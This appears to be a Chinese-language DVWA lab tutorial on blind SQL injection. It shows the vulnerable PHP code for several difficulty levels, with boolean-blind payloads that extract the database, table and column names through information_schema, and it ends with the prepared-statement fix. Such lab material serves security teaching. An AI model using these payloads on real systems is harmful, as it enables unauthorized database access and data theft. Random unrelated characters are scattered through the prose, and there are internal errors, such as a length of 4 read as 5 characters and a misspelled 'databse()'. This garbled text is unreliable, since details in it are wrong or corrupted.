SQL Injection(Blind)岩榆,即SQL盲注始锚,與一般注入的區(qū)別在于昼丑,一般的注入攻擊者可以直接從頁面上看到注入語句的執(zhí)行結果,而盲注時攻擊者通常是無法從顯示頁面上獲取執(zhí)行結果请唱,甚至連注入語句是否執(zhí)行都無從得知,因此盲注的難度要比一般注入高过蹂。目前網絡上現存的SQL注入漏洞大多是SQL盲注十绑。
手工思路
手工盲注的過程,就像你與一個機器人聊天酷勺,這個機器人知道的很多本橙,但只會回答“是”或者“不是”,因此你需要詢問它這樣的問題脆诉,例如“數據庫名字的第一個字母是不是a吧跬ぁ?”击胜,通過這種機械的詢問亏狰,最終獲得你想要的數據。
盲注分為基于布爾的盲注偶摔、基于時間的盲注以及基于報錯的盲注
步驟
1.判斷是否存在注入暇唾,注入是字符型還是數字型
2.猜解當前數據庫名
3.猜解數據庫中的表名
4.猜解表中的字段名
5.猜解數據
low服務器核心代碼
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
可以看到,只返回兩種結果。即User ID exists in the database.和User ID is MISSING from the database.為盲注
1策州、判斷是否存在注入瘸味,是字符還是數字型
輸入1,顯示相應用戶存在
輸入1’ and 1=1 #抽活,顯示存在
輸入1’ and 1=2 #硫戈,顯示不存在
可判斷存在字符型注入。
2下硕、得到數據庫名
要得到數據庫名字丁逝,就要知道數據庫名長度并挨個猜測字符。
輸入1’ and length(database())=4 #梭姓,顯示存在霜幼,說明數據庫名字長度為5個字符。
猜測數據庫名的每個ascll字符誉尖。用二分法
1’ and ascii(substr(databse(),1,1))>97 #
后面接著猜測后面的幾位
3罪既、得到數據庫表名
首先得到數據庫表名數量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
得到數據庫表數量為2個。
然后挨個猜測表名:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
依次將表猜 出來為guestbook和users
4铡恕、得到字段名
得到字段數量
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在 即字段數量為8
挨個猜測字段名琢感,
得到長度:1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在。探熔。驹针。。诀艰。
Medium服務器核心代碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
可以看到柬甥,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號
\x00,\n,\r,,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單其垄,希望以此來控制用戶的輸入苛蒲。
通過抓包修改id參數,一樣可以實現注入绿满,可以利用布爾注入臂外,時間注入實現。
High服務器核心代碼
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
High級別的代碼利用cookie傳遞參數id喇颁,當SQL查詢結果為空時寄月,會執(zhí)行函數sleep(seconds),目的是為了擾亂基于時間的盲注无牵。同時在 SQL查詢語句中添加了LIMIT 1漾肮,希望以此控制只輸出一個結果。
LIMIT 1我們可以通過#將其注釋掉茎毁。
抓包將cookie中參數id修改克懊。像users要改為(0×7573657273 為users的16進制)忱辅。
Impossible服務器代碼
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible級別的代碼采用了PDO技術,劃清了代碼與數據的界限谭溉,有效防御SQL注入墙懂,Anti-CSRF token機制的加入了進一步提高了安全性。